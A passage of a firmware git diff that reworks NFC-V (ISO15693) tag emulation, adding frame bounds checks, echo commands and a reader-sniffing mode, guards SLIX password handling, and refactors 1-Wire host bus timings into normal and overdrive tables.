nfcv_data->frame[ctx->payload_offset + 1] + 1; + blocks = nfcv_data->frame[data_pos] + 1; data_pos++; } - uint8_t* data = &nfcv_data->frame[ctx->payload_offset + data_pos]; + uint8_t* data = &nfcv_data->frame[data_pos]; uint32_t data_len = nfcv_data->block_size * blocks; - if(block + blocks > nfcv_data->block_num || - ctx->payload_offset + data_len + 2 > nfcv_data->frame_length) { - ctx->response_buffer[0] = ISO15693_ERROR_CMD_NOT_REC; - } else { + if((block + blocks) <= nfcv_data->block_num && + (data_pos + data_len + 2) == nfcv_data->frame_length) { ctx->response_buffer[0] = ISO15693_NOERROR; memcpy( &nfcv_data->data[nfcv_data->block_size * block], - &nfcv_data->frame[ctx->payload_offset + data_pos], + &nfcv_data->frame[data_pos], data_len); + nfcv_data->modified = true; + + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); } - nfcv_emu_send( - tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); if(ctx->command == ISO15693_WRITE_MULTI_BLOCK) { snprintf( @@ -556,6 +806,27 @@ void nfcv_emu_handle_packet( break; } + case ISO15693_CUST_ECHO_MODE: { + ctx->response_buffer[0] = ISO15693_NOERROR; + nfcv_data->echo_mode = true; + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "ECHO mode"); + break; + } + + case ISO15693_CUST_ECHO_DATA: { + nfcv_emu_send( + tx_rx, + nfcv_data, + &nfcv_data->frame[ctx->payload_offset], + nfcv_data->frame_length - ctx->payload_offset - 2, + NfcVSendFlagsSof | NfcVSendFlagsHighRate | NfcVSendFlagsEof, + ctx->send_time); + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "ECHO data"); + break; + } + default: snprintf( nfcv_data->last_command, @@ -570,8 +841,216 @@ void nfcv_emu_handle_packet( } } +void nfcv_emu_sniff_packet( + FuriHalNfcTxRxContext* tx_rx, + FuriHalNfcDevData* nfc_data, + void* nfcv_data_in) { + furi_assert(tx_rx); + furi_assert(nfc_data); + furi_assert(nfcv_data_in); + + NfcVData* nfcv_data = (NfcVData*)nfcv_data_in; + NfcVEmuProtocolCtx* ctx = nfcv_data->emu_protocol_ctx; + + if(nfcv_data->frame_length < 2) { + return; + } + + /* parse the frame data for the upcoming part 3 handling */ + ctx->flags = nfcv_data->frame[0]; + ctx->command = nfcv_data->frame[1]; + ctx->selected = (ctx->flags & RFAL_NFCV_REQ_FLAG_SELECT); + ctx->addressed = !(ctx->flags & RFAL_NFCV_REQ_FLAG_INVENTORY) && + (ctx->flags & RFAL_NFCV_REQ_FLAG_ADDRESS); + ctx->advanced = (ctx->command >= 0xA0); + ctx->address_offset = 2 + (ctx->advanced ? 1 : 0); + ctx->payload_offset = ctx->address_offset + (ctx->addressed ? 8 : 0); + + char flags_string[5]; + + snprintf( + flags_string, + 5, + "%c%c%c%d", + (ctx->flags & RFAL_NFCV_REQ_FLAG_INVENTORY) ? + 'I' : + (ctx->addressed ? 'A' : (ctx->selected ? 'S' : '*')), + ctx->advanced ? 'X' : ' ', + (ctx->flags & RFAL_NFCV_REQ_FLAG_DATA_RATE) ? 'h' : 'l', + (ctx->flags & RFAL_NFCV_REQ_FLAG_SUB_CARRIER) ? 2 : 1); + + switch(ctx->command) { + case ISO15693_INVENTORY: { + snprintf( + nfcv_data->last_command, sizeof(nfcv_data->last_command), "%s INVENTORY", flags_string); + break; + } + + case ISO15693_STAYQUIET: { + snprintf( + nfcv_data->last_command, sizeof(nfcv_data->last_command), "%s STAYQUIET", flags_string); + nfcv_data->quiet = true; + break; + } + + case ISO15693_LOCKBLOCK: { + uint8_t block = nfcv_data->frame[ctx->payload_offset]; + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "%s LOCK %d", + flags_string, + block); + break; + } + + case ISO15693_WRITE_DSFID: { + uint8_t id = nfcv_data->frame[ctx->payload_offset]; + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "%s WR DSFID %d", + flags_string, + id); + break; + } + + case ISO15693_WRITE_AFI: { + uint8_t id = nfcv_data->frame[ctx->payload_offset]; + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "%s WR AFI %d", + flags_string, + id); + break; + } + + case ISO15693_LOCK_DSFID: { + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "%s LOCK DSFID", + flags_string); + break; + } + + case ISO15693_LOCK_AFI: { + snprintf( + nfcv_data->last_command, sizeof(nfcv_data->last_command), "%s LOCK AFI", flags_string); + break; + } + + case ISO15693_SELECT: { + snprintf( + nfcv_data->last_command, sizeof(nfcv_data->last_command), "%s SELECT", flags_string); + break; + } + + case ISO15693_RESET_TO_READY: { + snprintf( + nfcv_data->last_command, sizeof(nfcv_data->last_command), "%s RESET", flags_string); + break; + } + + case ISO15693_READ_MULTI_BLOCK: + case ISO15693_READBLOCK: { + uint8_t block = nfcv_data->frame[ctx->payload_offset]; + uint8_t blocks = 1; + + if(ctx->command == ISO15693_READ_MULTI_BLOCK) { + blocks = nfcv_data->frame[ctx->payload_offset + 1] + 1; + } + + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "%s READ %d cnt: %d", + flags_string, + block, + blocks); + + break; + } + + case ISO15693_WRITE_MULTI_BLOCK: + case ISO15693_WRITEBLOCK: { + uint8_t block = nfcv_data->frame[ctx->payload_offset]; + uint8_t blocks = 1; + uint8_t data_pos = 1; + + if(ctx->command == ISO15693_WRITE_MULTI_BLOCK) { + blocks = nfcv_data->frame[ctx->payload_offset + 1] + 1; + data_pos++; + } + + uint8_t* data = &nfcv_data->frame[ctx->payload_offset + data_pos]; + + if(ctx->command == ISO15693_WRITE_MULTI_BLOCK) { + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "%s WRITE %d, cnd %d", + flags_string, + block, + blocks); + } else { + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "%s WRITE %d %02X %02X %02X %02X", + flags_string, + block, + data[0], + data[1], + data[2], + data[3]); + } + break; + } + + case ISO15693_GET_SYSTEM_INFO: { + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "%s SYSTEMINFO", + flags_string); + break; + } + + default: + snprintf( + nfcv_data->last_command, + sizeof(nfcv_data->last_command), + "%s unsupported: %02X", + flags_string, + ctx->command); + break; + } + + if(strlen(nfcv_data->last_command) > 0) { + FURI_LOG_D(TAG, "Received command %s", nfcv_data->last_command); + } +} + void nfcv_emu_init(FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data) { - nfcv_emu_alloc(nfcv_data); + furi_assert(nfc_data); + furi_assert(nfcv_data); + + if(!nfcv_emu_alloc(nfcv_data)) { + FURI_LOG_E(TAG, "Failed to allocate structures"); + nfcv_data->ready = false; + return; + } + + strcpy(nfcv_data->last_command, ""); + nfcv_data->quiet = false; + nfcv_data->selected = false; + nfcv_data->modified = false; + + /* everything is initialized */ + nfcv_data->ready = true; + rfal_platform_spi_acquire(); /* configure for transparent and passive mode */ st25r3916ExecuteCommand(ST25R3916_CMD_STOP); @@ -579,7 +1058,7 @@ void nfcv_emu_init(FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data) { st25r3916WriteRegister(ST25R3916_REG_OP_CONTROL, 0xC3); /* target mode: ISO14443 passive mode */ st25r3916WriteRegister(ST25R3916_REG_MODE, 0x88); - /* let us modulate the field using MOSI, read modulation using MISO */ + /* let us modulate the field using MOSI, read ASK modulation using IRQ */ st25r3916ExecuteCommand(ST25R3916_CMD_TRANSPARENT_MODE); furi_hal_spi_bus_handle_deinit(&furi_hal_spi_bus_handle_nfc); @@ -587,7 +1066,11 @@ void nfcv_emu_init(FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data) { /* if not set already, initialize the default protocol handler */ if(!nfcv_data->emu_protocol_ctx) { nfcv_data->emu_protocol_ctx = malloc(sizeof(NfcVEmuProtocolCtx)); - nfcv_data->emu_protocol_handler = &nfcv_emu_handle_packet; + if(nfcv_data->sub_type == NfcVTypeSniff) { + nfcv_data->emu_protocol_handler = &nfcv_emu_sniff_packet; + } else { + nfcv_data->emu_protocol_handler = &nfcv_emu_handle_packet; + } } FURI_LOG_D(TAG, "Starting NfcV emulation"); @@ -623,18 +1106,27 @@ void nfcv_emu_init(FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data) { case NfcVTypePlain: FURI_LOG_D(TAG, " Card type: Plain"); break; + case NfcVTypeSniff: + FURI_LOG_D(TAG, " Card type: Sniffing"); + break; } /* allocate a 512 edge buffer, more than enough */ - nfcv_data->emu_air.reader_signal = pulse_reader_alloc(&gpio_spi_r_miso, 512); + nfcv_data->emu_air.reader_signal = pulse_reader_alloc(&gpio_nfc_irq_rfid_pull, 512); /* timebase shall be 1 ns */ pulse_reader_set_timebase(nfcv_data->emu_air.reader_signal, PulseReaderUnitNanosecond); /* and configure to already calculate the number of bits */ pulse_reader_set_bittime(nfcv_data->emu_air.reader_signal, PULSE_DURATION_NS); + /* this IO is fed into the Β΅C via a diode, so we need a pulldown */ + pulse_reader_set_pull(nfcv_data->emu_air.reader_signal, GpioPullDown); + + /* start sampling */ pulse_reader_start(nfcv_data->emu_air.reader_signal); } void nfcv_emu_deinit(NfcVData* nfcv_data) { + furi_assert(nfcv_data); + furi_hal_spi_bus_handle_init(&furi_hal_spi_bus_handle_nfc); rfal_platform_spi_release(); nfcv_emu_free(nfcv_data); @@ -643,6 +1135,10 @@ void nfcv_emu_deinit(NfcVData* nfcv_data) { free(nfcv_data->emu_protocol_ctx); nfcv_data->emu_protocol_ctx = NULL; } + + /* set registers back to how we found them */ + st25r3916WriteRegister(ST25R3916_REG_OP_CONTROL, 0x00); + st25r3916WriteRegister(ST25R3916_REG_MODE, 0x08); } bool nfcv_emu_loop( @@ -650,34 +1146,49 @@ bool nfcv_emu_loop( FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data, uint32_t timeout_ms) { + furi_assert(tx_rx); + furi_assert(nfc_data); + furi_assert(nfcv_data); + bool ret = false; uint32_t frame_state = NFCV_FRAME_STATE_SOF1; uint32_t periods_previous = 0; - uint8_t frame_payload[128]; uint32_t frame_pos = 0; uint32_t byte_value = 0; uint32_t bits_received = 0; - char reset_reason[128]; + uint32_t timeout = timeout_ms * 1000; + uint32_t sof_timestamp = 0; + uint32_t eof_timestamp = 0; bool wait_for_pulse = false; + if(!nfcv_data->ready) { + return false; + } + +#ifdef NFCV_DIAGNOSTIC_DUMPS + uint8_t period_buffer[NFCV_DIAGNOSTIC_DUMP_SIZE]; + uint32_t period_buffer_pos = 0; +#endif + while(true) { - uint32_t periods = - pulse_reader_receive(nfcv_data->emu_air.reader_signal, timeout_ms * 1000); + uint32_t periods = pulse_reader_receive(nfcv_data->emu_air.reader_signal, timeout); uint32_t timestamp = DWT->CYCCNT; - if(periods == PULSE_READER_NO_EDGE) { + /* when timed out, reset to SOF state */ + if(periods == PULSE_READER_NO_EDGE || periods == PULSE_READER_LOST_EDGE) { break; } +#ifdef NFCV_DIAGNOSTIC_DUMPS + if(period_buffer_pos < sizeof(period_buffer)) { + period_buffer[period_buffer_pos++] = periods; + } +#endif + + /* short helper for detecting a pulse position */ if(wait_for_pulse) { wait_for_pulse = false; if(periods != 1) { - snprintf( - reset_reason, - sizeof(reset_reason), - "SOF: Expected a single low pulse in state %lu, but got %lu", - frame_state, - periods); frame_state = NFCV_FRAME_STATE_RESET; } continue; @@ -689,6 +1200,7 @@ bool nfcv_emu_loop( frame_state = NFCV_FRAME_STATE_SOF2; } else { frame_state = NFCV_FRAME_STATE_SOF1; + sof_timestamp = timestamp; break; } break; @@ -704,44 +1216,33 @@ bool nfcv_emu_loop( periods_previous = 2; wait_for_pulse = true; } else { - snprintf( - reset_reason, - sizeof(reset_reason), - "SOF: Expected 4/6 periods, got %lu", - periods); - frame_state = NFCV_FRAME_STATE_SOF1; + frame_state = NFCV_FRAME_STATE_RESET; } break; case NFCV_FRAME_STATE_CODING_256: if(periods_previous > periods) { - snprintf( - reset_reason, - sizeof(reset_reason), - "1oo256: Missing %lu periods from previous symbol, got %lu", - periods_previous, - periods); frame_state = NFCV_FRAME_STATE_RESET; break; } + /* previous symbol left us with some pulse periods */ periods -= periods_previous; if(periods > 512) { - snprintf( - reset_reason, sizeof(reset_reason), "1oo256: %lu periods is too much", periods); frame_state = NFCV_FRAME_STATE_RESET; break; - } - - if(periods == 2) { + } else if(periods == 2) { frame_state = NFCV_FRAME_STATE_EOF; + eof_timestamp = timestamp; break; } periods_previous = 512 - (periods + 1); byte_value = (periods - 1) / 2; - frame_payload[frame_pos++] = (uint8_t)byte_value; + if(frame_pos < NFCV_FRAMESIZE_MAX) { + nfcv_data->frame[frame_pos++] = (uint8_t)byte_value; + } wait_for_pulse = true; @@ -749,12 +1250,6 @@ bool nfcv_emu_loop( case NFCV_FRAME_STATE_CODING_4: if(periods_previous > periods) { - snprintf( - reset_reason, - sizeof(reset_reason), - "1oo4: Missing %lu periods from previous symbol, got %lu", - periods_previous, - periods); frame_state = NFCV_FRAME_STATE_RESET; break; } @@ -780,19 +1275,17 @@ bool nfcv_emu_loop( periods_previous = 0; } else if(periods == 2) { frame_state = NFCV_FRAME_STATE_EOF; + eof_timestamp = timestamp; break; } else { - snprintf( - reset_reason, - sizeof(reset_reason), - "1oo4: Expected 1/3/5/7 low pulses, but got %lu", - periods); frame_state = NFCV_FRAME_STATE_RESET; break; } if(bits_received >= 8) { - frame_payload[frame_pos++] = (uint8_t)byte_value; + if(frame_pos < NFCV_FRAMESIZE_MAX) { + nfcv_data->frame[frame_pos++] = (uint8_t)byte_value; + } bits_received = 0; } wait_for_pulse = true; @@ -802,10 +1295,7 @@ bool nfcv_emu_loop( /* post-state-machine cleanup and reset */ if(frame_state == NFCV_FRAME_STATE_RESET) { frame_state = NFCV_FRAME_STATE_SOF1; - - FURI_LOG_D(TAG, "Resetting state machine, reason: '%s'", reset_reason); } else if(frame_state == NFCV_FRAME_STATE_EOF) { - nfcv_data->frame = frame_payload; nfcv_data->frame_length = frame_pos; nfcv_data->eof_timestamp = timestamp; break; @@ -816,12 +1306,42 @@ bool nfcv_emu_loop( /* we know that this code uses TIM2, so stop pulse reader */ pulse_reader_stop(nfcv_data->emu_air.reader_signal); if(tx_rx->sniff_rx) { - tx_rx->sniff_rx(frame_payload, frame_pos * 8, false, tx_rx->sniff_context); + tx_rx->sniff_rx(nfcv_data->frame, frame_pos * 8, false, tx_rx->sniff_context); } nfcv_data->emu_protocol_handler(tx_rx, nfc_data, nfcv_data); + + /* determine readers fc by analyzing transmission duration */ + uint32_t duration = eof_timestamp - sof_timestamp; + float fc_1024 = (4.0f * duration) / (4 * (frame_pos * 4 + 1) + 1); + /* it should be 1024/fc in 64MHz ticks */ + float fact = fc_1024 / ((1000000.0f * 64.0f * 1024.0f) / NFCV_FC); + FURI_LOG_D(TAG, "1024/fc: %f -> %f %%", (double)fc_1024, (double)fact * 100); +#if 0 + if(fact > 0.99f && fact < 1.01f) { + static float avg_err = 0.0f; + + avg_err = (avg_err * 15.0f + (fact - 1.0f)) / 16.0f; + FURI_LOG_D(TAG, " ==> set %f %%", (1.0f + avg_err) * 100); + digital_sequence_timebase_correction(nfcv_data->emu_air.nfcv_signal, 1.0f + avg_err); + } +#endif + pulse_reader_start(nfcv_data->emu_air.reader_signal); ret = true; + } else { + if(frame_state != NFCV_FRAME_STATE_SOF1) { + FURI_LOG_T(TAG, "leaving while in state: %lu", frame_state); + } } +#ifdef NFCV_DIAGNOSTIC_DUMPS + if(period_buffer_pos) { + FURI_LOG_T(TAG, "pulses:"); + for(uint32_t pos = 0; pos < period_buffer_pos; pos++) { + FURI_LOG_T(TAG, " #%lu: %u", pos, period_buffer[pos]); + } + } +#endif + return ret; } diff --git a/lib/nfc/protocols/nfcv.h b/lib/nfc/protocols/nfcv.h index cc0aac18c..56e37f525 100644 --- a/lib/nfc/protocols/nfcv.h +++ b/lib/nfc/protocols/nfcv.h @@ -12,22 +12,32 @@ extern "C" { #endif -#define NFCV_FC (13560000.0f) /* MHz */ +#define NFCV_FC (13560000.0f / 0.9998f) /* MHz */ #define NFCV_RESP_SUBC1_PULSE_32 (1.0f / (NFCV_FC / 32) / 2.0f) /* 1.1799 Β΅s */ #define NFCV_RESP_SUBC1_UNMOD_256 (256.0f / NFCV_FC) /* 18.8791 Β΅s */ -#define PULSE_DURATION_NS (128.0f * 1000000000.0f / NFCV_FC) /* ns */ +#define PULSE_DURATION_NS (128.0f * 1000000000.0f / NFCV_FC) #define DIGITAL_SIGNAL_UNIT_S (100000000000.0f) #define DIGITAL_SIGNAL_UNIT_US (100000.0f) -#define NFCV_TOTAL_BLOCKS_MAX 256 -#define NFCV_BLOCK_SIZE 4 -#define NFCV_MAX_DUMP_SIZE (NFCV_BLOCK_SIZE * NFCV_TOTAL_BLOCKS_MAX) +/* ISO/IEC 15693-3:2019(E) 10.4.12: maximum number of blocks is defined as 256 */ +#define NFCV_BLOCKS_MAX 256 +/* ISO/IEC 15693-3:2019(E) 10.4.12: maximum size of blocks is defined as 32 */ +#define NFCV_BLOCKSIZE_MAX 32 +/* the resulting memory size a card can have */ +#define NFCV_MEMSIZE_MAX (NFCV_BLOCKS_MAX * NFCV_BLOCKSIZE_MAX) +/* ISO/IEC 15693-3:2019(E) 7.1b: standard allows up to 8192, the maxium frame length that we are expected to receive/send is less */ +#define NFCV_FRAMESIZE_MAX (1 + NFCV_MEMSIZE_MAX + NFCV_BLOCKS_MAX) + +#define NFCV_LOG_STR_LEN 128 + +// #define NFCV_DIAGNOSTIC_DUMPS +// #define NFCV_DIAGNOSTIC_DUMP_SIZE 128 /* helpers to calculate the send time based on DWT->CYCCNT */ #define NFCV_FDT_USEC(usec) (usec * 64) -#define NFCV_FDT_FC(ticks) (ticks * 6400 / 1356) +#define NFCV_FDT_FC(ticks) ((ticks)*6400 / 1356) #define NFCV_FRAME_STATE_SOF1 0 #define NFCV_FRAME_STATE_SOF2 1 @@ -36,10 +46,15 @@ extern "C" { #define NFCV_FRAME_STATE_EOF 4 #define NFCV_FRAME_STATE_RESET 5 +/* sequences for every section of a frame */ #define NFCV_SIG_SOF 0 #define NFCV_SIG_BIT0 1 #define NFCV_SIG_BIT1 2 #define NFCV_SIG_EOF 3 +#define NFCV_SIG_LOW_SOF 4 +#define NFCV_SIG_LOW_BIT0 5 +#define NFCV_SIG_LOW_BIT1 6 +#define NFCV_SIG_LOW_EOF 7 /* ISO15693 command codes */ #define ISO15693_INVENTORY 0x01 @@ -58,6 +73,9 @@ extern "C" { #define ISO15693_GET_SYSTEM_INFO 0x2B #define ISO15693_READ_MULTI_SECSTATUS 0x2C +#define ISO15693_CUST_ECHO_MODE 0xDE +#define ISO15693_CUST_ECHO_DATA 0xDF + /* ISO15693 RESPONSE ERROR CODES */ #define ISO15693_NOERROR 0x00 #define ISO15693_ERROR_CMD_NOT_SUP 0x01 // Command not supported @@ -70,6 +88,11 @@ extern "C" { #define ISO15693_ERROR_BLOCK_WRITE 0x13 // Writing was unsuccessful #define ISO15693_ERROR_BLOCL_WRITELOCK 0x14 // Locking was unsuccessful +typedef enum { + NfcVLockBitDsfid = 1, + NfcVLockBitAfi = 2, +} NfcVLockBits; + typedef enum { NfcVAuthMethodManual, NfcVAuthMethodTonieBox, @@ -81,6 +104,7 @@ typedef enum { NfcVTypeSlixS = 2, NfcVTypeSlixL = 3, NfcVTypeSlix2 = 4, + NfcVTypeSniff = 255, } NfcVSubtype; typedef enum { @@ -109,15 +133,19 @@ typedef union { } NfcVSubtypeData; typedef struct { - PulseReader* reader_signal; - DigitalSignal* nfcv_resp_pulse_32; - DigitalSignal* nfcv_resp_unmod; + DigitalSignal* nfcv_resp_sof; DigitalSignal* nfcv_resp_one; DigitalSignal* nfcv_resp_zero; - DigitalSignal* nfcv_resp_sof; DigitalSignal* nfcv_resp_eof; - DigitalSignal* nfcv_resp_unmod_256; - DigitalSignal* nfcv_resp_unmod_768; +} NfcVEmuAirSignals; + +typedef struct { + PulseReader* reader_signal; + DigitalSignal* nfcv_resp_pulse; /* pulse length, fc/32 */ + DigitalSignal* nfcv_resp_half_pulse; /* half pulse length, fc/32 */ + DigitalSignal* nfcv_resp_unmod; /* unmodulated length 256/fc */ + NfcVEmuAirSignals signals_high; + NfcVEmuAirSignals signals_low; DigitalSequence* nfcv_signal; } NfcVEmuAir; @@ -130,15 +158,17 @@ typedef bool (*NfcVEmuProtocolFilter)( FuriHalNfcDevData* nfc_data, void* nfcv_data); +/* the default ISO15693 handler context */ typedef struct { uint8_t flags; /* ISO15693-3 flags of the header as specified */ uint8_t command; /* ISO15693-3 command at offset 1 as specified */ + bool selected; /* ISO15693-3 flags: selected frame */ bool addressed; /* ISO15693-3 flags: addressed frame */ bool advanced; /* ISO15693-3 command: advanced command */ uint8_t address_offset; /* ISO15693-3 offset of the address in frame, if addressed is set */ uint8_t payload_offset; /* ISO15693-3 offset of the payload in frame */ - uint8_t response_buffer[128]; /* pre-allocated response buffer */ + uint8_t response_buffer[NFCV_FRAMESIZE_MAX]; /* pre-allocated response buffer */ NfcVSendFlags response_flags; /* flags to use when sending response */ uint32_t send_time; /* timestamp when to send the response */ @@ -152,7 +182,14 @@ typedef struct { uint8_t ic_ref; uint16_t block_num; uint8_t block_size; - uint8_t data[NFCV_MAX_DUMP_SIZE]; + uint8_t data[NFCV_MEMSIZE_MAX]; + uint8_t security_status[1 + NFCV_BLOCKS_MAX]; + bool selected; + bool quiet; + + bool modified; + bool ready; + bool echo_mode; /* specfic variant infos */ NfcVSubtype sub_type; @@ -162,17 +199,16 @@ typedef struct { /* precalced air level data */ NfcVEmuAir emu_air; - uint8_t* frame; /* ISO15693-2 incoming raw data from air layer */ + uint8_t* frame; /* [NFCV_FRAMESIZE_MAX] ISO15693-2 incoming raw data from air layer */ uint8_t frame_length; /* ISO15693-2 length of incoming data */ uint32_t eof_timestamp; /* ISO15693-2 EOF timestamp, read from DWT->CYCCNT */ /* handler for the protocol layer as specified in ISO15693-3 */ NfcVEmuProtocolHandler emu_protocol_handler; void* emu_protocol_ctx; - /* runtime data */ - char last_command[128]; - char error[32]; + char last_command[NFCV_LOG_STR_LEN]; + char error[NFCV_LOG_STR_LEN]; } NfcVData; typedef struct { diff --git a/lib/nfc/protocols/slix.c b/lib/nfc/protocols/slix.c index e61c70919..eaa75509f 100644 --- a/lib/nfc/protocols/slix.c +++ b/lib/nfc/protocols/slix.c @@ -217,6 +217,10 @@ bool slix_generic_protocol_filter( break; } + if(!password) { + break; + } + for(int pos = 0; pos < 4; pos++) { password_rcv[pos] = password_xored[3 - pos] ^ rand[pos % 2]; } @@ -232,6 +236,7 @@ bool slix_generic_protocol_filter( break; case SLIX_PASS_PRIVACY: slix->privacy = false; + nfcv_data->modified = true; break; case SLIX_PASS_DESTROY: FURI_LOG_D(TAG, "Pooof! Got destroyed"); diff --git a/lib/one_wire/SConscript b/lib/one_wire/SConscript index 56d4759eb..2dde9153d 100644 --- a/lib/one_wire/SConscript +++ b/lib/one_wire/SConscript @@ -8,12 +8,8 @@ env.Append( "#/lib/one_wire", ], SDK_HEADERS=[ - File("one_wire_host_timing.h"), File("one_wire_host.h"), File("one_wire_slave.h"), - File("ibutton/ibutton_key.h"), - File("ibutton/ibutton_worker.h"), - File("ibutton/ibutton_protocols.h"), File("maxim_crc.h"), ], ) diff --git a/lib/one_wire/one_wire_host.c b/lib/one_wire/one_wire_host.c index 0a4a79f5c..678812105 100644 --- a/lib/one_wire/one_wire_host.c +++ b/lib/one_wire/one_wire_host.c @@ -1,10 +1,54 @@ #include +/** + * Timings based on Application Note 126: + * https://www.analog.com/media/en/technical-documentation/tech-articles/1wire-communication-through-software--maxim-integrated.pdf + */ + #include "one_wire_host.h" -#include "one_wire_host_timing.h" + +typedef struct { + uint16_t a; + uint16_t b; + uint16_t c; + uint16_t d; + uint16_t e; + uint16_t f; + uint16_t g; + uint16_t h; + uint16_t i; + uint16_t j; +} OneWireHostTimings; + +static const OneWireHostTimings onewire_host_timings_normal = { + .a = 9, + .b = 64, + .c = 64, + .d = 14, + .e = 9, + .f = 55, + .g = 0, + .h = 480, + .i = 70, + .j = 410, +}; + +static const OneWireHostTimings onewire_host_timings_overdrive = { + .a = 1, + .b = 8, + .c = 8, + .d = 3, + .e = 1, + .f = 7, + .g = 3, + .h = 70, + .i = 9, + .j = 40, +}; struct OneWireHost { const GpioPin* gpio_pin; + const OneWireHostTimings* timings; unsigned char saved_rom[8]; /** < global search state */ uint8_t last_discrepancy; uint8_t last_family_discrepancy; @@ -15,6 +59,7 @@ OneWireHost* onewire_host_alloc(const GpioPin* gpio_pin) { OneWireHost* host = malloc(sizeof(OneWireHost)); host->gpio_pin = gpio_pin; onewire_host_reset_search(host); + onewire_host_set_overdrive(host, false); return host; } @@ -27,6 +72,8 @@ bool onewire_host_reset(OneWireHost* host) { uint8_t r; uint8_t retries = 125; + const OneWireHostTimings* timings = host->timings; + // wait until the gpio is high furi_hal_gpio_write(host->gpio_pin, true); do { @@ -35,19 +82,19 @@ bool onewire_host_reset(OneWireHost* host) { } while(!furi_hal_gpio_read(host->gpio_pin)); // pre delay - furi_delay_us(OWH_RESET_DELAY_PRE); + furi_delay_us(timings->g); // drive low furi_hal_gpio_write(host->gpio_pin, false); - furi_delay_us(OWH_RESET_DRIVE); + furi_delay_us(timings->h); // release furi_hal_gpio_write(host->gpio_pin, true); - furi_delay_us(OWH_RESET_RELEASE); + furi_delay_us(timings->i); // read and post delay r = !furi_hal_gpio_read(host->gpio_pin); - furi_delay_us(OWH_RESET_DELAY_POST); + furi_delay_us(timings->j); return r; } @@ -55,17 +102,19 @@ bool onewire_host_reset(OneWireHost* host) { bool onewire_host_read_bit(OneWireHost* host) { bool result; + const OneWireHostTimings* timings = host->timings; + // drive low furi_hal_gpio_write(host->gpio_pin, false); - furi_delay_us(OWH_READ_DRIVE); + furi_delay_us(timings->a); // release furi_hal_gpio_write(host->gpio_pin, true); - furi_delay_us(OWH_READ_RELEASE); + furi_delay_us(timings->e); // read and post delay result = furi_hal_gpio_read(host->gpio_pin); - furi_delay_us(OWH_READ_DELAY_POST); + furi_delay_us(timings->f); return result; } @@ -89,22 +138,24 @@ void onewire_host_read_bytes(OneWireHost* host, uint8_t* buffer, uint16_t count) } void onewire_host_write_bit(OneWireHost* host, bool value) { + const OneWireHostTimings* timings = host->timings; + if(value) { // drive low furi_hal_gpio_write(host->gpio_pin, false); - furi_delay_us(OWH_WRITE_1_DRIVE); + furi_delay_us(timings->a); // release furi_hal_gpio_write(host->gpio_pin, true); - furi_delay_us(OWH_WRITE_1_RELEASE); + furi_delay_us(timings->b); } else { // drive low furi_hal_gpio_write(host->gpio_pin, false); - furi_delay_us(OWH_WRITE_0_DRIVE); + furi_delay_us(timings->c); // release furi_hal_gpio_write(host->gpio_pin, true); - furi_delay_us(OWH_WRITE_0_RELEASE); + furi_delay_us(timings->d); } } @@ -122,10 +173,6 @@ void onewire_host_write_bytes(OneWireHost* host, const uint8_t* buffer, uint16_t } } -void onewire_host_skip(OneWireHost* host) { - onewire_host_write(host, 0xCC); -} - void onewire_host_start(OneWireHost* host) { furi_hal_gpio_write(host->gpio_pin, true); furi_hal_gpio_init(host->gpio_pin, GpioModeOutputOpenDrain, GpioPullNo, GpioSpeedLow); @@ -154,7 +201,7 @@ void onewire_host_target_search(OneWireHost* host, uint8_t family_code) { host->last_device_flag = false; } -uint8_t onewire_host_search(OneWireHost* host, uint8_t* new_addr, OneWireHostSearchMode mode) { +bool onewire_host_search(OneWireHost* host, uint8_t* new_addr, OneWireHostSearchMode mode) { uint8_t id_bit_number; uint8_t last_zero, rom_byte_number, search_result; uint8_t id_bit, cmp_id_bit; @@ -268,3 +315,7 @@ uint8_t onewire_host_search(OneWireHost* host, uint8_t* new_addr, OneWireHostSea return search_result; } + +void onewire_host_set_overdrive(OneWireHost* host, bool set) { + host->timings = set ? &onewire_host_timings_overdrive : &onewire_host_timings_normal; +} diff --git a/lib/one_wire/one_wire_host.h b/lib/one_wire/one_wire_host.h index dc469904d..9f9bd4ffd 100644 --- a/lib/one_wire/one_wire_host.h +++ b/lib/one_wire/one_wire_host.h @@ -15,114 +15,115 @@ extern "C" { typedef enum { OneWireHostSearchModeConditional = 0, /**< Search for alarmed device */ - OneWireHostSearchModeNormal = 1, /**< Search all devices */ + OneWireHostSearchModeNormal = 1, /**< Search for all devices */ } OneWireHostSearchMode; typedef struct OneWireHost OneWireHost; /** - * Allocate onewire host bus - * @param pin - * @return OneWireHost* + * Allocate OneWireHost instance + * @param [in] gpio_pin connection pin + * @return pointer to OneWireHost instance */ OneWireHost* onewire_host_alloc(const GpioPin* gpio_pin); /** - * Deallocate onewire host bus - * @param host + * Destroy OneWireHost instance, free resources + * @param [in] host pointer to OneWireHost instance */ void onewire_host_free(OneWireHost* host); /** - * Reset bus - * @param host - * @return bool + * Reset the 1-Wire bus + * @param [in] host pointer to OneWireHost instance + * @return true if presence was detected, false otherwise */ bool onewire_host_reset(OneWireHost* host); /** * Read one bit - * @param host - * @return bool + * @param [in] host pointer to OneWireHost instance + * @return received bit value */ bool onewire_host_read_bit(OneWireHost* host); /** * Read one byte - * @param host - * @return uint8_t + * @param [in] host pointer to OneWireHost instance + * @return received byte value */ uint8_t onewire_host_read(OneWireHost* host); /** - * Read many bytes - * @param host - * @param buffer - * @param count + * Read one or more bytes + * @param [in] host pointer to OneWireHost instance + * @param [out] buffer received data buffer + * @param [in] count number of bytes to read */ void onewire_host_read_bytes(OneWireHost* host, 